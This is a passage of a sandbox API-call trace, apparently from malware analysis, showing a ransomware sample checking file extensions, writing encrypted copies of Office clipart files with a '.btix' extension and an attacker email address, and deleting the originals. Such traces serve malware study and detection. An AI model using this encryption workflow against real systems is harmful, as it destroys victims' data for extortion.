[0141.612] lstrlenW (lpString=".xlsx") returned 5 [0141.613] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0141.613] lstrlenW (lpString=".ppt") returned 4 [0141.613] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0141.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.613] lstrlenW (lpString=".zip") returned 4 [0141.613] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0141.613] lstrlenW (lpString=".rar") returned 4 [0141.613] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0141.613] lstrlenW (lpString=".bz2") returned 4 [0141.613] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0141.613] lstrlenW (lpString=".7z") returned 3 [0141.613] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0141.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.613] lstrlenW (lpString=".dbf") returned 4 [0141.613] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0141.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.613] lstrlenW (lpString=".1cd") returned 4 [0141.613] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0141.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.613] lstrlenW (lpString=".jpg") returned 4 [0141.613] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0141.613] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.614] lstrlenW (lpString="J0103058.WMF") returned 12 [0141.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.690] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=17344) returned 1 [0141.690] CloseHandle (hObject=0x380) returned 1 [0141.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0141.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.765] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.765] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0141.766] GetLastError () returned 0x0 [0141.767] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0141.769] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0141.770] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.770] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0141.770] SetEndOfFile (hFile=0x4a0) returned 1 [0141.770] CloseHandle (hObject=0x4a0) returned 1 [0141.771] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.771] SetEndOfFile (hFile=0x3b0) returned 1 [0141.791] CloseHandle (hObject=0x3b0) returned 1 [0141.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0141.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.792] lstrlenW (lpString=".doc") returned 4 [0141.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.792] lstrlenW (lpString=".docx") returned 5 [0141.792] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0141.792] lstrlenW (lpString=".pdf") returned 4 [0141.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString=".xls") returned 4 [0141.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.793] lstrlenW (lpString=".xlsx") returned 5 [0141.793] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0141.793] lstrlenW (lpString=".ppt") returned 4 [0141.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.793] lstrlenW (lpString=".zip") returned 4 [0141.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.793] lstrlenW (lpString=".rar") returned 4 [0141.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString=".bz2") returned 4 [0141.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString=".7z") returned 3 [0141.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.793] lstrlenW (lpString=".dbf") returned 4 [0141.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.793] lstrlenW (lpString=".1cd") returned 4 [0141.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.793] lstrlenW (lpString=".jpg") returned 4 [0141.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.793] lstrlenW (lpString=".doc") returned 4 [0141.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.793] lstrlenW (lpString=".docx") returned 5 [0141.793] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0141.793] lstrlenW (lpString=".pdf") returned 4 [0141.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.794] lstrlenW (lpString=".xls") returned 4 [0141.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.794] lstrlenW (lpString=".xlsx") returned 5 [0141.794] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0141.794] lstrlenW (lpString=".ppt") returned 4 [0141.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.794] lstrlenW (lpString=".zip") returned 4 [0141.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.794] lstrlenW (lpString=".rar") returned 4 [0141.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.794] lstrlenW (lpString=".bz2") returned 4 [0141.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.794] lstrlenW (lpString=".7z") returned 3 [0141.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.794] lstrlenW (lpString=".dbf") returned 4 [0141.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.794] lstrlenW (lpString=".1cd") returned 4 [0141.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0141.794] lstrlenW (lpString=".jpg") returned 4 [0141.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.794] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.794] lstrlenW (lpString="J0105230.WMF") returned 12 [0141.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.795] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5172) returned 1 [0141.796] CloseHandle (hObject=0x3b0) returned 1 [0141.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0141.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.125] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.125] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.126] GetLastError () returned 0x0 [0142.126] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1434, lpOverlapped=0x0) returned 1 [0142.128] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1440, lpOverlapped=0x0) returned 1 [0142.129] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.129] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.129] SetEndOfFile (hFile=0x54c) returned 1 [0142.129] CloseHandle (hObject=0x54c) returned 1 [0142.129] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.129] SetEndOfFile (hFile=0x390) returned 1 [0142.131] CloseHandle (hObject=0x390) returned 1 [0142.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.133] lstrlenW (lpString=".doc") returned 4 [0142.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString=".docx") returned 5 [0142.133] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.133] lstrlenW (lpString=".pdf") returned 4 [0142.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString=".xls") returned 4 [0142.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.133] lstrlenW (lpString=".xlsx") returned 5 [0142.133] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.133] lstrlenW (lpString=".ppt") returned 4 [0142.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.133] lstrlenW (lpString=".zip") returned 4 [0142.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.133] lstrlenW (lpString=".rar") returned 4 [0142.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString=".bz2") returned 4 [0142.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString=".7z") returned 3 [0142.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.133] lstrlenW (lpString=".dbf") returned 4 [0142.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.133] lstrlenW (lpString=".1cd") returned 4 [0142.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.133] lstrlenW (lpString=".jpg") returned 4 [0142.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.134] lstrlenW (lpString=".doc") returned 4 [0142.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".docx") returned 5 [0142.134] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.134] lstrlenW (lpString=".pdf") returned 4 [0142.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".xls") returned 4 [0142.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.134] lstrlenW (lpString=".xlsx") returned 5 [0142.134] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.134] lstrlenW (lpString=".ppt") returned 4 [0142.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.134] lstrlenW (lpString=".zip") returned 4 [0142.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.134] lstrlenW (lpString=".rar") returned 4 [0142.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".bz2") returned 4 [0142.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".7z") returned 3 [0142.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.134] lstrlenW (lpString=".dbf") returned 4 [0142.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.134] lstrlenW (lpString=".1cd") returned 4 [0142.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0142.134] lstrlenW (lpString=".jpg") returned 4 [0142.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.135] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.135] lstrlenW (lpString="J0105266.WMF") returned 12 [0142.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.136] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5908) returned 1 [0142.136] CloseHandle (hObject=0x390) returned 1 [0142.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0142.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.137] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.137] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.137] GetLastError () returned 0x0 [0142.137] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1714, lpOverlapped=0x0) returned 1 [0142.145] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1720, lpOverlapped=0x0) returned 1 [0142.147] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.147] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.148] SetEndOfFile (hFile=0x54c) returned 1 [0142.148] CloseHandle (hObject=0x54c) returned 1 [0142.148] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.148] SetEndOfFile (hFile=0x390) returned 1 [0142.151] CloseHandle (hObject=0x390) returned 1 [0142.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0142.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.152] lstrlenW (lpString=".doc") returned 4 [0142.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.152] lstrlenW (lpString=".docx") returned 5 [0142.152] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.152] lstrlenW (lpString=".pdf") returned 4 [0142.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.152] lstrlenW (lpString=".xls") returned 4 [0142.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.152] lstrlenW (lpString=".xlsx") returned 5 [0142.152] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0142.152] lstrlenW (lpString=".ppt") returned 4 [0142.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.152] lstrlenW (lpString=".zip") returned 4 [0142.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.152] lstrlenW (lpString=".rar") returned 4 [0142.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.152] lstrlenW (lpString=".bz2") returned 4 [0142.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.152] lstrlenW (lpString=".7z") returned 3 [0142.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.152] lstrlenW (lpString=".dbf") returned 4 [0142.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.152] lstrlenW (lpString=".1cd") returned 4 [0142.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.152] lstrlenW (lpString=".jpg") returned 4 [0142.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.153] lstrlenW (lpString=".doc") returned 4 [0142.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.153] lstrlenW (lpString=".docx") returned 5 [0142.153] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.153] lstrlenW (lpString=".pdf") returned 4 [0142.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.153] lstrlenW (lpString=".xls") returned 4 [0142.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.153] lstrlenW (lpString=".xlsx") returned 5 [0142.153] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0142.153] lstrlenW (lpString=".ppt") returned 4 [0142.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.153] lstrlenW (lpString=".zip") returned 4 [0142.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.153] lstrlenW (lpString=".rar") returned 4 [0142.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 